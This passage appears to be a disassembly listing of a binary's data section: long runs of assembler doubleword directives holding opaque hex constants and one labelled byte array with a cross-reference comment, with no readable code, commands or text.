		dd 12508FC4h, 3C13A6F0h, 70006C4Fh, 43056D0Ch, 36112676h
		dd 12951228h, 1D0B333h,	0DEA17DFBh, 0F8D44FBDh,	78E200B6h
		dd 63E7ECE3h, 464A7F7Eh, 503BFC8Ah, 8E20BF0h, 0C0C4AFDh
		dd 6A886328h, 0A845F0DAh, 2C219508h, 2BC0CB6h, 85E98104h
		dd 0E42CA059h, 8047A60Eh, 2B68F549h, 1FB09092h,	0FC8EAAE4h
		dd 0CC0071BCh, 0BFCC3A5h, 0A6011166h, 3944D7C2h, 6C2833A2h
		dd 0B08C5487h, 0B296DCDFh, 8057DD05h, 0D0CCD44Dh, 0F6AA02FBh
		dd 0D9D014D7h, 96A55840h, 0AD801491h, 3A9A07DDh, 3CC90580h
		dd 0CA6C0311h, 0BC7910D0h, 0FAD13A71h, 0C54E6240h, 0F0107CC4h
		dd 4885B28h, 94B3041Bh,	0A2D9BE2Ch, 0C8C40030h,	80DFF630h
		dd 1F02B8E3h, 80A3AAFFh, 35411848h, 101220FAh, 48E0628Ah
		dd 8E9320FEh, 42806C91h, 0D180E287h, 0D9291F77h, 2AE1843Bh
		dd 0A2A280E5h, 0E4A54F7Fh, 0E8D1880h, 127725C0h, 0F04299BBh
		dd 0F124547Ch, 0A6B928AAh, 0AE001C05h, 8A9DC2F6h, 0CA48C552h
		dd 0F1E89047h, 5B53696Ah, 0C843D8h, 1A2E42BEh, 0FE343D0Fh
		dd 0FC01BD55h, 330BCD48h, 0A5C900BCh, 83255C60h, 0F5CEF716h
		dd 0C753B060h, 0CF49DE0Bh, 0DB4404ECh, 78018CB2h, 38227F82h
		dd 2E74606Dh, 0D0268703h, 805DC6B6h, 0A4199633h, 0E0CD48DCh
		dd 74AE7F3Eh, 0C3BD50C8h, 0E3007EEAh, 931B42DAh, 48F0A3F8h
		dd 9A263C60h, 11CB40A4h, 802689BBh, 64924036h, 831EF404h
		dd 30FCA257h, 5A89C0Dh,	66C225D5h, 90A0E410h, 5993CC03h
		dd 9A942187h, 84AA6050h, 0FD1B0FF7h, 0D18E06ABh, 27DC5BAAh
		dd 3E6465h, 0D785946Eh,	0CCBFDAFh, 704B768Dh, 550DC728h
		dd 0E8447F53h, 0E2A0843Dh, 5D0039AAh, 676FCDD7h, 0F216EB3h
		dd 43E3A2D0h, 0DDA09642h, 0E5810441h, 0FD82698h, 82E55B7Bh
		dd 0E0A38F2Eh, 9841FCB8h, 0CD011676h, 0D970A003h, 74C8234Fh
		dd 4B715Ah, 0FEFD2EE5h,	5C76A70Dh, 729C3300h, 0A25BF1B0h
		dd 451896C3h, 0DE81094Ah, 25137780h, 19001DA4h,	0ACEE3B4h
		dd 30EA29B1h, 9438EE62h, 0CA88C21Ch, 2AE612FFh,	0C1D040F3h
		dd 0EC1B94B2h, 0E9D021C4h, 0DCA0B4ACh, 7A01A5CAh, 17E83875h
		dd 6F20C403h, 130972DBh, 0C8418463h, 788C225Ch,	0BBD11108h
		dd 0FB3E0072h, 9CF38035h, 0ED2D00D3h, 0F98C95BDh, 562A9C9h
		dd 0BCA0A0h, 0D6E75B6Ah, 0BC137EFFh, 1F307055h,	0DC291B81h
		dd 0F300D311h, 0D9C51DE3h, 93073209h, 633F97B6h, 0F5568D20h
		dd 0E6FB0BB9h, 60F87989h, 0AD5FFE00h, 2D08D724h, 37524B0h
		dd 685E0884h, 0B34AE380h, 2FB2DF33h, 444408F1h,	26801B22h
		dd 58205784h, 8049790h,	77F7EA0Fh, 4508B4B8h, 0CE9A6431h
		dd 0D280068h, 12911C7h,	16F1CD74h, 802B9AE7h, 0A7EED7F8h
		dd 50DB2681h, 76FA8ABh,	1E461AA3h, 294A106h, 38703FCFh
		dd 58598Dh
		dd 4F47BDB1h, 0AD66731Fh, 94489B26h, 9602C902h,	8158DCFFh
		dd 0CF92B137h, 0D4C040A3h, 4CB8473Fh, 23EC5B53h, 2D202C1Dh
		dd 0E94BF010h, 6A00DB74h, 400A8186h, 1A2E0C9h, 9173DA3h
		dd 2A96321Ch, 1BE82832h, 0FF5E20FCh, 0F89C6B52h, 0EC00BC59h
		dd 0C80A319Fh, 71331381h, 9960B0F8h, 0BA62884h,	0FF1907A0h
		dd 0CB38F11Bh, 0E8115CE3h, 0D002C404h, 0C8EE60B1h, 7C06243h
		dd 0F4B892FFh, 0A49849Ch, 0F800C7B5h, 0B5ED63E4h, 6A7300E1h
		dd 0C2D1DA45h, 40049EAh, 0CABE664Ah, 48052EFDh,	0C84B28D2h
		dd 1E00A9C8h, 459B27D8h, 0F0D1DE4h, 127D5DF3h, 0CA52E6E0h
		dd 66205CE3h, 0D16A12C2h, 800CE2E5h, 245643BFh,	0B3300046h
		dd 0A992502Bh, 0E1623ADCh, 0DCFECFF9h, 69A85394h, 0D800AFFBh
		dd 870EED1Ah, 725EA4Fh,	9A93C479h, 3ECF82AAh, 0C568EA60h
		dd 0C426182Fh, 0A3700338h, 7C8BF559h, 8468FDA8h, 44A5C24h
		dd 4040D169h, 51D77A8Ah, 0A8572A02h, 0C1F823BFh, 7C225AB2h
		dd 9655010h, 598E216Bh,	0C92F0BECh, 0C0C45E00h,	0F4269EE2h
		dd 0D200A47Bh, 843B835Fh, 11973CEh, 0C8A96D66h,	208E8A3Eh
		dd 7AE68814h, 51C6804h,	6C8055B2h, 22D5623Bh, 0E100C576h
		dd 5A462A0Ah, 669A8926h, 21EE0942h, 2A328100h, 9861DDBFh
		dd 4B44043Fh, 82F359A1h, 4060CBB8h, 5E809746h, 9672611Dh
		dd 0A110099Ch, 0EC713840h, 8601F818h, 171B2769h, 223FFB19h
		dd 9C7421BCh, 5C690C70h, 0A902499Ch, 44727DE6h,	495ACE4h
		dd 22207EC0h, 53605E0Dh, 0A6AB37A8h, 83896D0h, 0F901D585h
		dd 9B7D33C0h, 0AA2F4180h, 9D19CAA5h, 0E69460Dh,	0B0220885h
		dd 0A5924E00h, 5E6B9A8h, 0F4062F05h, 0CCE2A9E1h, 6976C400h
		dd 0AC2AA146h, 0FC4DF607h, 6E60B77Bh, 14C02B5Dh, 0A42EC6F7h
		dd 1DBBFB2Eh, 85C1709Ah, 110103EFh, 66E5121Ch, 8975AE4h
		dd 47A4908Ch, 9900DF04h, 2DC2F73Ch, 1871C0F8h, 0D070ED17h
		dd 9D0F0118h, 81086877h, 1998048Bh, 605BF0D0h, 0B1E03459h
		dd 97B8BC41h, 2A00E976h, 0FB45487Ch, 822FBFh, 6998D288h
		dd 0DC8CCFD5h, 0F6B6B900h, 4049ED8Fh, 26E40006h, 97BA7F90h
		dd 0C700287Dh, 0D46E899Ah, 0F3851CAh, 0ED1DA0BDh, 0EFA4D740h
		dd 4A0042B3h, 2A028D7Dh, 10622ECh, 50B9FC8Fh, 0E8BE94E9h
		dd 370366C6h, 357E3FDBh, 2254B887h, 692E1A84h, 59C0193Eh
		dd 7A03856Eh, 0E5181C7Dh, 0EFC9D0B4h, 96D0FC0h,	20405828h
		dd 0ACFF5CA5h, 9F388D6Fh, 182E4CCDh, 7C3C76D8h,	0B35F04A3h
		dd 1064B9h, 3E58BE7Ch, 7E3B305Bh, 0C5B51C20h, 8C15C109h
		dd 0F54D8324h, 0FE3200E4h, 16E060Ah, 66004E5Eh,	828C3697h
		dd 7CBDA2ADh, 18560341h, 6D8D8A5Ah, 9DB707F8h, 75F62600h
		dd 135EC081h, 808803BEh, 250830BCh, 68C8E1DBh, 871F9A2Dh
		dd 980C9C3Ah, 44C01950h, 283DBA29h, 49C080h, 0DA3CB82Fh
		dd 88046E7Fh, 6362100Eh, 0F41B2033h, 0F0820BCAh, 2CAD019Bh
		dd 81A5A466h, 61D97090h, 1D07F03h, 0A1CEA7A9h, 20806375h
		dd 93E3D8EEh, 6B000F45h, 0E5F18922h, 1C8024h, 5DCCF33h
		dd 0FBA92BA6h, 60815100h, 8B66F5E8h, 57901D69h,	277D8420h
		dd 6FF6C053h, 1A048A78h, 11E85F58h, 6860C4ECh, 0AD246621h
		dd 3EE62B00h, 79B8279Ah, 0AE20D46Ch, 0A3FB3C0Ch, 5C00C429h
		dd 562D8E6Bh, 3A2F6774h, 105075BEh, 6CEE65h, 0EA6ACDE4h
		dd 9554ABDh, 0B50C6000h, 33B92A68h, 6480A81Fh, 8AFCC0E8h
		dd 4E1B0969h, 23940352h, 2B22C9Fh, 0CEDF6157h, 10729499h
		dd 7EE3D4EAh, 0CC95007Ah, 0D75697E7h, 6860EDF6h, 81B8D950h
		dd 2868A05Eh, 95BB3018h, 3E22D10h, 2398F700h, 4CA30E30h
		dd 9F6A0038h, 477F3D89h, 0D3000B17h, 1F8B2F69h,	0FB9FF31h
		dd 4ACB648Ch, 782CEC3h,	55CAF1E8h, 61AD6F04h, 0DAC0FA76h
		dd 15C2CFh, 4EFBC942h, 0BAABB89Dh, 9A2C720Ah, 0F7008ABFh
		dd 30E1E031h, 369E0090h, 57725A32h, 4D07EB08h, 0D7190AB4h
		dd 3AE32600h, 0DAE2F6h,	1A6AB7BAh, 0CC378983h, 1660C300h
		dd 59AB008h, 786E07EDh,	0D0F10621h, 5579D995h, 88448A00h
		dd 6D206997h, 0FB1707B0h, 0C0F01175h, 15814786h, 895118C0h
		dd 0FE031ED2h, 0C12E10E4h, 0B1C600F9h, 42F8B8FEh, 0CF513A50h
		dd 0E2B90B00h, 99C5403Bh, 0BD7F061Fh, 1C081058h, 0F20C044h
		dd 0F3934035h, 0B5D37A0Dh, 9CE838C2h, 11BE016Eh, 0ED15CA71h
		dd 0B162D4DDh, 8397433Ch, 89B6A4BAh, 81962Fh, 4F259127h
		dd 0B901E8B2h, 8ED349CEh, 11707F3Fh, 852319h, 0EEC63257h
		dd 0F00E3B9Fh, 2100F3E9h, 1F855B88h, 7EE17883h,	27A40007h
		dd 0EA203B12h, 57BBC01h, 0CC1B9B1Fh, 0E2CF3206h, 0E368DD70h
		dd 56853A07h, 341260ADh, 52792004h, 8C010985h, 83A0F312h
		dd 0D020A664h, 1A7BEE14h, 0D87D8D3Fh, 83BCA807h, 100012FDh
		dd 6ED38297h, 0F2B9A10h, 0B68D2CCCh, 0F418CE81h, 1EDDC881h
		dd 0BEF6A97Fh, 0F0879300h, 0F80C0F28h, 1238000Ah, 0BA980D3Eh
		dd 5A006BAEh, 2DE43BABh, 1821F8Dh, 7CD91B5Fh, 617D9F15h
		dd 6585D831h, 0C49A580Bh, 0E95C0FE6h, 93C180ADh, 17F81Ch
		dd 6EB172C8h, 9B156648h, 22EE39C0h, 8622Ch, 82EA90FAh
		dd 0D6E98599h, 0F6F18403h, 9EFCE8E7h, 648607E2h, 40CE1D65h
		dd 7311FAB1h, 48474A00h, 944FCBDCh, 10786BF9h, 602BC400h
		dd 0F000138Ch, 256A23D3h, 16A15DBCh, 39E264h, 0B743F580h
		dd 200C70Eh, 0FD3CE770h, 0F5AAD017h, 2A00A8BEh,	91223A5Dh
		dd 10C028BFh, 0A75AAF92h, 0D770183Dh, 8D99286Bh, 1F494C00h
		dd 988B3E42h, 7E6A302Bh, 21913688h, 0EFF6D600h,	0FA9274DCh
		dd 2FC200FBh, 110E70B6h, 0CD79C725h, 66055A01h,	0B8BED84Dh
		dd 709D81BCh, 0A11E40C4h, 511D44C6h, 0E931261Ch, 8C8C8B4Bh
		dd 11DC0Eh, 77CC0D3Ah, 0F7680EFFh, 2433592Ch, 0D4CFA600h
		dd 3C96E938h, 39BE1373h, 61B66307h, 0FEC36089h,	0E9034736h
		dd 0DB5DBF46h, 0E316B005h, 0ADA10018h, 1F14AC7Ah, 74E6D267h
		dd 1D855400h, 3919AF62h, 59D739B9h, 6B6D0A09h, 0DD344380h
		dd 140005A4h, 0EDF1CF22h, 0A59DFAh, 398C88D1h, 56C4FDE9h
		dd 31017600h, 1AEBBE80h, 0D0E86C6Bh, 0C7FAB591h, 8D8E1800h
		dd 17800BE4h, 87BC3068h, 6C1D8B40h, 0E0FF047Eh,	0B73FDE6Dh
		dd 428500EBh, 9462C845h, 9E9D39A9h, 0A033A201h,	70D79BA7h
		dd 0BC015449h, 0B48F7842h, 0D8D063F2h, 0F520C09Eh, 0DA37ECA3h
		dd 767C3400h, 0FD80C5D0h, 7400794h, 0C0C3880Ch,	3B1E3225h
		dd 3A8F8200h, 0DBA51A05h, 0A97ACDh, 0BC9BAC1Ch,	0D52A235Fh
		dd 1A0318EAh, 0A9CA1021h, 9A893A37h, 0D6813FBCh, 1535F4BCh
		dd 36408388h, 14E72Eh, 167A2718h, 0D7F14A9Bh, 6D06387Ah
		dd 8FD44537h, 99BB0049h, 9B422F61h, 1A1DC3D2h, 2018D5F4h
		dd 1D51DE21h, 0C089555Ah, 5D1E74A1h, 8CA8CA70h,	7130F9B0h
		dd 5E9A100Fh, 0ED8E00B1h, 0AFC406Ch, 7010B2Fh, 7A2B53BDh
		dd 9ADC5444h, 3BB0014h,	0AE628613h, 0DD00EC2Dh,	87E690D3h
		dd 4603721h, 1F4E9709h,	3E561489h, 5113785Ah, 87001C0Dh
		dd 6B704D28h, 5C0F003Fh, 447DE66Fh, 7906C159h, 13ED5112h
		dd 9D614429h, 0B0BFBD01h, 3C87D24Bh, 7643ADE8h,	0F4C800F1h
		dd 0FE1EFA6Eh, 410005E9h, 4D0E9530h, 0E27B35C3h, 96810056h
		dd 0CCA86B32h, 0FB00A60Dh, 4C430565h, 662EF8h, 0DFE692E3h
		dd 0CABF9926h, 0CB13E0E4h
		dd 0C5008313h, 54C7CF18h, 3F660E76h, 68E062E1h,	1B7FE342h
		dd 0B50BAA01h, 136C04B8h, 0EDE0DEE5h, 188A01C4h, 0F6353E56h
		dd 6ED2F8DCh, 30B2B601h, 1DE5F4A6h, 60CC9042h, 0BFC6ABh
		dd 80E8ECEBh, 0C9CB2F45h, 0F6001171h, 5C076630h, 0A33238h
		dd 85D39B72h, 0B3EB2953h, 0E9589200h, 0B6048CA9h, 14E600B1h
		dd 0B7D5C2Eh, 0E878EEA4h, 7ACB8A00h, 758C5596h,	16099061h
		dd 0AC789007h, 63FB0F51h, 6987C001h, 1CCDEABDh,	0C0C97DF1h
		dd 918EF286h, 14302B19h, 0C671B020h, 0FC6C3BD6h, 13E8C900h
		dd 5BE08F8Ah, 573A0476h, 0C21A80BDh, 0A105F5D9h, 0EB2A19B5h
		dd 60FAC61Eh, 4D1601F4h, 0A1018904h, 49C861BFh,	5A62C440h
		dd 233009Fh, 0E2282B75h, 3007FC15h, 98B0E63Dh, 0ECAA100h
		dd 0F3A800EAh, 0B68C7294h, 4301D2F2h, 8058FC45h, 6FD06B08h
		dd 1CC8002Ah, 6ACD85A2h, 1D0E6C22h, 1FB3CC45h, 2555C830h
		dd 83E500F9h, 2464FEDAh, 0FC01FD15h, 0A32F631Fh, 0C520073Dh
		dd 38191211h, 0BA20401Dh, 293E62C2h, 731A3D00h,	97F45C50h
		dd 601DFE33h, 0DE16C848h, 3985405Eh, 0BF3C49E0h, 5000578Bh
		dd 6D25C433h, 30E4BAF4h, 0F740470Ch, 700045B1h,	0AB6F5771h
		dd 0ED1331h, 0D52976B8h, 0B32B7D27h, 0B2C07812h, 40CBB001h
		dd 0FFBCF1h, 8D88DB28h,	0BF6C45A4h, 6AC5B300h, 3A912F9Fh
		dd 446F0561h, 8084530Ah, 4C79CB7Bh, 78A1900h, 54648B63h
		dd 6FDB000Eh, 3F89CF76h, 8C1D9FB5h, 0CAC02B67h,	23706349h
		dd 9EB20069h, 0F8F66874h, 300383Bh, 10B5F488h, 0C0FD932Fh
		dd 146A1F98h, 1848AB1Bh, 3B3887h, 8FF6C283h, 19A6BDh, 0A529B43Ch
		dd 9696B71h, 30F9F400h,	76DABA36h, 9C4817E8h, 4C7400B8h
		dd 0F9A41A96h, 0FDE1F800h, 0B562DB30h, 767100DEh, 4D7E407Bh
		dd 9900DA7Ch, 50B28709h, 391D4649h, 8A13A6C9h, 8D480038h
		dd 28E1E893h, 70699B00h, 0D8D5EE99h, 12400E9h, 71CAC20Dh
		dd 0EB00E313h, 0E5E46326h, 0AADD6h, 0D15DB7C5h,	0C38B1CEAh
		dd 0FE8D3300h, 0FC4FDC7Ah, 0B10500DEh, 0A6EA16ADh, 0F60055D0h
		dd 27145848h, 6395C49h,	5013D441h, 0FE0070D2h, 2C58917Eh
		dd 1D4ACCh, 1905DEEh, 36C24CA1h, 3163AA00h, 0A27E26EFh
		dd 0CD9900DEh, 45E6502Bh, 4058ECBAh, 66D90099h,	44A7B10Ch
		dd 77171FBh, 8F1750DEh,	0F74D7068h, 16091D69h, 208CBA8Bh
		dd 77A6D17Ch, 72DC00C9h, 9673F5E9h, 0A800CD7Bh,	9D3AADE4h
		dd 0A5B89Ah, 0A4A295F9h, 8191B915h, 98E65700h, 0F352BDB0h
		dd 79E801E4h, 69C19FE2h, 0B542007Eh, 0A4934CC2h, 0B2D81000h
		dd 0A931C61Eh, 0A1386E05h, 38C0D4CDh, 0F209F106h, 594300FFh
		dd 965544EDh, 0C80014B0h, 0ECB5CCF9h, 990A00Dh,	0E5698E47h
		dd 6E1B4400h, 0C301F21h, 0B7159295h, 1D3A016Fh,	0F658F537h
		dd 0ED18C086h, 0CBD6F100h, 0B0191C66h, 18BF8CAh, 0B65A4FB2h
		dd 30D3AA85h, 0EB5841E4h, 28528058h, 0FF0688Ch,	0DD99A250h
		dd 0E643E7E3h, 0A3186EA8h, 0FCAC0802h, 4055BFEFh, 7FC7D8h
		dd 9F652379h, 0A16BA231h, 38B7E200h, 0ABB49A8Fh, 4A7A00D9h
		dd 8DDC7691h, 5700BCCEh, 1293469Dh, 232DD0h, 0E8194B55h
		dd 3E8401E2h, 0BB6A9007h, 54D39CC2h, 0C00AEB50h, 39DEF96h
		dd 0CA4013A1h, 8C85FC9h, 20A82A19h, 0C5F2C09Dh,	0F73DAD7Ah
		dd 833B0ED7h, 0F162A780h, 0A10D0561h, 1C7F2BECh, 0F76CDB0h
		dd 9C00165Bh, 0E58751F8h, 8F290B00h, 8D7F70BAh,	0B4966ABEh
		dd 86AA87E4h, 34A190A7h, 2C3A5DC4h, 4FEF9F50h, 0DFFFA80h
		dd 3E0BE104h, 0B8F9D12Bh, 72CEEF9h, 0BDBB1235h,	0CFEC30D6h
		dd 1B04B2E4h, 0AB561AC8h, 8C60C887h, 67A11D3Bh,	87741148h
		dd 9F8DC1B0h, 0F01C755Eh, 0FA03859Eh, 0F3980218h, 0CA08053Dh
		dd 0C01D715Fh, 66CEC814h, 0B6FA1900h, 0FD0D953Ah, 0AB3F0082h
		dd 6F531BE4h, 701CE7ADh, 80097EAh, 7162A39Ah, 643239FAh
		dd 1BE3A08Bh, 5A7A58A3h, 3FD22288h, 3CF890E4h, 0CD2A4500h
		dd 3B399DCh, 5248001Ch,	217798ECh, 0AB205F87h, 2C1E3C79h
		dd 0AE146980h, 0B072B808h, 3AB2EB09h, 48CE0040h, 0BE5933h
		dd 41157ADCh, 81213643h, 0A97B000h, 0EBB9F56Bh,	7A83074Bh
		dd 706CE0EEh, 796D20DFh, 0B2AFD207h, 423032F6h,	34E438h
		dd 59963B65h, 0A654F12Ch, 2D2FDD0Fh, 430BE7B0h,	9E128CE1h
		dd 0A2260h, 5A3EAF86h, 4C2716ECh, 6A33E300h, 0B03644EEh
		dd 51A2006Eh, 0A0735A42h, 0A7071754h, 0E95F46A8h, 93CB79C1h
		dd 71643FCh, 0A6901DE3h, 9A75F92h, 7B26A2D8h, 183AF8E8h
		dd 0FBF17000h, 0E8FF7833h, 12D27645h, 409F6E7Bh, 0DD095628h
		dd 0B80CDF0Bh, 18BD6D90h, 5D653FB9h, 0BEB5B380h, 2F44E3C7h
		dd 3A5BD300h, 489FB1F5h, 15FE8AAh, 1F8BA550h, 70E76DEBh
		dd 31606524h, 5121C81h,	0C9AB00D0h, 13AC392Bh, 0B800D414h
		dd 0A9B18C5Ch, 0F233404h, 0F85EFF4Dh, 0D3448Fh,	73819979h
		dd 9D00A0CBh, 0D4023079h, 48BE6AD3h, 8C304C91h,	2DEFE221h
		dd 59004C92h, 7A39D0B0h, 783DA07Dh, 27283345h, 38D3C011h
		dd 202C997Ch, 0C3BA551h, 19DFDCC2h, 3AF11B57h, 0A0C1D048h
		dd 105570CAh, 6647980Ch, 46681Eh, 19CCACA5h, 0DBFAE71Ch
		dd 609D3B00h, 0E8B22D0Bh, 8F0D0A4Dh, 0A4B53Eh, 2353A688h
		dd 4200FCE3h, 0F660A004h, 924C61h, 80DE4E3Bh, 9AAFC39Eh
		dd 212AD301h, 3EB64672h, 0FFB67C0h, 1BF2AB3Bh, 0E3B006C0h
		dd 11CAA5F3h, 19D604A2h, 10A0CD0Dh, 4DD7C0DAh, 0AA354900h
		dd 0BB1CF51Fh, 0E410059h, 6A510DDCh, 0D918A2D8h, 3E29D610h
		dd 0CEE38821h, 8455FD40h, 22D21A22h, 7B2213E2h,	6B8922DBh
		dd 20E0B522h, 0B4703E16h, 51AB3C00h, 1DAF3B0Dh,	8C340079h
		dd 7DAD6125h, 6F5B21ECh, 10ECE0h, 7790975Eh, 0A62EA02Ch
		dd 353AE21Dh, 0B3340880h, 13403DC2h, 1B955BDh, 24C9F3BFh
		dd 1091207Eh, 39AE7700h, 0C6268BCDh, 0A8CA00D9h, 0E647837h
		dd 800085D1h, 4B03114Ch, 1636F320h, 0B35AF1h, 0B5FDDC67h
		dd 0F8073522h, 61976940h, 4126F901h, 7529D8FCh,	0AC6B0001h
		dd 1A36166Ch, 0CEE8CB78h, 0D9FC0A00h, 71D01529h, 872C0083h
		dd 66D3F042h, 43389908h, 62728379h, 22B053h, 5C7B31C2h
		dd 9434CAD4h, 0AB403760h, 132651A3h, 1E0EF0EBh,	0ECB115CBh
		dd 0CD7E7D02h, 9C10D02h, 1029D8E3h, 84EA5A00h, 0D4DBAD8Dh
		dd 24BCECDCh, 1D4E62B5h, 0F59980F8h, 64D69F81h
		db 0
byte_4E0049	db 0CEh, 1Ch, 0D3h	; DATA XREF: ___:0042CC94o
		dd 0FA6398B0h, 0D9F800DFh, 751A26A4h, 95050F57h, 0CEB23E55h
		dd 34676180h, 6C4A007Bh, 3876F865h, 9DE2B49Ch, 0F736120Fh
		dd 0E70E60EBh, 7CC3C2Bh, 0D6A8418Ch, 0AF98100Dh, 12333D08h
		dd 884E21F3h, 7D1864E1h, 71FF0345h, 6328675Ah, 35F4A2D8h
		dd 30139700h, 0E793906Bh, 3EB40041h, 0D0F81B51h, 3F07A729h
		dd 0D73B9CADh, 9762B600h, 60491805h, 5E4811BBh,	4ACD1F00h
		dd 63FD4DAAh, 0EF02001Ch, 68E16B47h, 5010192h, 30EA6F19h
		dd 0FBFCF03Dh, 7BBD07E8h, 10C2537Ch, 0EA5F745h,	5E61B60Eh
		dd 0B175E068h, 145830C4h, 0A0F68044h, 0C3CC3600h, 2EBC0772h
		dd 0E78CAA1Fh, 43574F40h, 0D46721h, 6750C6Bh, 64F3BFADh
		dd 9000F178h, 14D6D36Eh, 207980h, 0FC6C5D60h, 0E0DC48A5h
		dd 886DC000h, 0D3CC05B0h, 0B48F0FA6h, 6AA721Ah,	803C70FCh
		dd 0F16FBAF2h, 0AB818010h, 18835CA2h, 0F8EAA4B1h, 9400F48Ch
		dd 38C180C7h, 0EC49D45h, 0BFB50F43h, 0C02FCA9h,	3048D003h
		dd 6300855Dh, 681551E4h, 0C99B98h, 87FCA34Eh, 8621D5E6h
		dd 5A0EC607h, 6A645F49h, 23470C80h, 0D3B851B2h,	0E212D4h
		dd 8190C936h, 51D33115h, 1165FF09h, 0C4B007Ch, 3F6E4C50h
		dd 29001AE0h, 91ABE26Bh, 270E603Bh, 27864573h, 2B90960Bh
		dd 3FB3C7Eh, 80044467h,	40A05283h, 531DA4E2h, 0EB808179h
		dd 0D2A84BBAh, 0A9100FAh, 0FDC45290h, 0D30F8ED0h, 0E0BC8DEDh
		dd 67665144h, 2C060031h, 9310D1AFh, 2E76C217h, 9AB08B00h
		dd 82FC7542h, 0C13D09F1h, 0A880DBCFh, 85540C15h, 8E9CE300h
		dd 732BEF2Ch, 411A1D01h, 7F3340FCh, 56E04E4Fh, 4C15F002h
		dd 634378A6h, 0FF8AA856h, 6F330E76h, 1DC17B9Eh,	0CC960CB1h
		dd 3001839h, 588A733Bh,	0FBB22Bh, 7EB0CE28h, 7D8927E6h
		dd 0F878A11Dh, 224F7743h, 0ABC58B5Dh, 23FAB1F1h, 34CCC20h
		dd 0C9F444D8h, 0C898D0CDh, 40FA7FD6h, 28F58E26h, 88D1B100h
		dd 0B6876Fh, 37D82483h,	764AA161h, 0D9006471h, 5E6AF838h
		dd 0B40F93h, 33A0F209h,	0C88F0345h, 27B13B06h, 100DCFh
		dd 52BD5792h, 8B654BE4h, 7A5743Fh, 0DB820548h, 8A0DF07h
		dd 3C15B32h, 79FE3447h,	48A16929h, 225EC4B3h, 0BED80112h
		dd 7285F400h, 0EA5024Bh, 621CC780h, 2A00AFF2h, 0DAB945B1h
		dd 9BF50082h, 0CB2725EAh, 0BF62D09h, 0AF92A904h, 38C04052h
		dd 0E961C56h, 2C627ED7h, 0B0036E6Bh, 480070F8h,	713B2E86h
		dd 3AD70B21h, 568D55A2h, 0E4806A60h, 0AE3BF891h, 7AC08012h
		dd 138F114Ah, 0A0640081h, 14C84BF1h, 0E0006FE6h, 0BA1E35EDh
		dd 44DC24h, 0C58BAFC0h,	0BC55B7D6h, 934DB600h, 0C3905C53h
		dd 0A7FA0015h, 2DE89C75h, 0BC00DA07h, 0A1F273FEh, 60D7A4ABh
		dd 547411BDh, 0BF00C52Ah, 28EF09E5h, 40D390h, 5FED13B9h
		dd 226E5296h, 602C7601h, 17B2CF93h, 1581BDCh, 5967ECF9h
		dd 60A8E68Ah, 7000ACF8h, 1E47B278h, 3BB038F2h, 0E4001F45h
		dd 6AB83C09h, 0B9FCE6A9h, 79775800h, 513889F5h,	58947E7Bh
		dd 0D62144CCh, 3903DA26h, 0B0A966E4h, 77872E76h, 214000EAh
		dd 3B09E624h, 23001804h, 2A073D7h, 72D901Bh, 8263FED4h
		dd 0AEA940B2h, 0AD48E984h, 1A03740Eh, 0ED3DCC4Bh, 9DB3E966h
		dd 90018BFh, 0D6317D23h, 8158F04Eh, 9F3E00F4h, 0FA94265Ah
		dd 529A39A8h, 4CFE2Ch, 0D0ADB06Dh, 0C67E591Ch, 9E133A7Eh
		dd 0D00049EEh, 312BC06h, 2EE70092h, 335C15A7h, 2500DD9Fh
		dd 0C12477F2h, 76459Ch,	3603CEEEh, 75215CA1h, 50FEF476h
		dd 0EDB0690Fh, 4D02762Bh, 60DD679Dh, 1D20D8D0h,	42A1B598h
		dd 66BA7109h, 4B3BB460h, 16F148h, 0A2FB21D1h, 1F31276Ch
		dd 9ED4A387h, 39B08045h, 0B6139CC9h, 5BB93B0Fh,	0C3DDE08Ah
		dd 102E38h, 96E6BC47h, 751DC01Bh, 6F955800h, 0B2036B48h
		dd 6DEB0362h, 0B4598A19h, 0FFB035F0h, 0C1D72400h, 4FD3B9BFh
		dd 70490012h, 0B2E45D97h, 0D2017167h, 59A1ED2Dh, 0E07B37BEh
		dd 0F901F62Fh, 1175C041h, 0C0808C2Ah, 0F7701DEAh, 0E6001329h
		dd 0C6103402h, 121B2287h, 19282Dh, 770A9654h, 0DD00BDE0h
		dd 45B67C0Ch, 9FEA85h, 0AF3665D2h, 5528C0EDh, 463C8000h
		dd 0E5E20FE7h, 0A5183F35h, 6B12CC80h, 0B448AAF5h, 38AB23Eh
		dd 0E4225D04h, 645B80E0h, 99A40046h, 0C7EAA062h, 50001AD2h
		dd 7A3F5F08h, 0CAC26Ah,	0FC1225B1h, 0BD369860h,	39706F00h
		dd 0BF28F879h, 0B2730090h, 83D9EB0Dh, 0F5070B78h, 0DB0993CFh
		dd 0ADA311C0h, 0A0063A7Dh, 82026600h, 581A4F3Ch, 1971C500h
		dd 345E9A65h, 6BC7006Eh, 8BF0B7C1h, 1503476Ch, 0F7C9AFACh
		dd 0D7A5E0FCh, 758700CBh, 7A6DE20Bh, 0F575B6A8h, 0C79A0C00h
		dd 719DEA20h, 0AE3601ECh, 3561B6Fh, 0E126347Ch,	0A6A2D61Fh
		dd 0FA9C53C0h, 0E88F611h, 3586372Fh, 31E77DE0h,	0CB1F5545h
		dd 0BA405DB1h, 95FEEEE8h, 0CE7A000Ch, 6017B8DCh, 0D9001A65h
		dd 0B7087239h, 793618h,	0A7F044E2h, 0DE0CC025h,	29A2920Fh
		dd 0A35E4073h, 0AF6B38h, 0C2F6CE15h, 0B1220AE6h, 0FC670606h
		dd 3F902B72h, 0FD8A0419h, 80B01141h, 8E3E7F9Dh,	33000E4Dh
		dd 6C04650Fh, 1882F69Eh, 38160D5Ah, 9D00A8BAh, 2E4A25FDh
		dd 14EFE4h, 9ED5E5CEh, 30487855h, 949F7900h, 0F6BACD07h
		dd 83E61DBBh, 0A7D3008Fh, 0A59AD8D2h, 4CFC524h,	90F49520h
		dd 2700D7E6h, 0C31091ADh, 38C8E382h, 353E41B1h,	0B21ABC80h
		dd 0D59A034Ch, 0BA008998h, 20D6A04Ah, 0A6A49Bh,	0B888B670h
		dd 21F07126h, 4900E27Dh, 0C366A045h, 0F407119Ah, 1DB60010h
		dd 6586C2EDh, 5701FA25h, 94B17EB4h, 32E43F3Ah, 56810976h
		dd 6002439h, 3B893570h,	0FCF71170h, 1700A066h, 0C3657E3Dh
		dd 0C0CAA992h, 0E118B0A8h, 0E907E085h, 94FE5E40h, 0A6EDF930h
		dd 38FC9Bh, 8E7DB29Dh, 24E042DCh, 5E0F4D2Dh, 707F1806h
		dd 0FA00EE77h, 8D69B078h, 7B889FEh, 0F4A09D27h,	1C671095h
		dd 391A4F54h, 60182228h, 18706D2h, 0D5EBA5E0h, 801269F4h
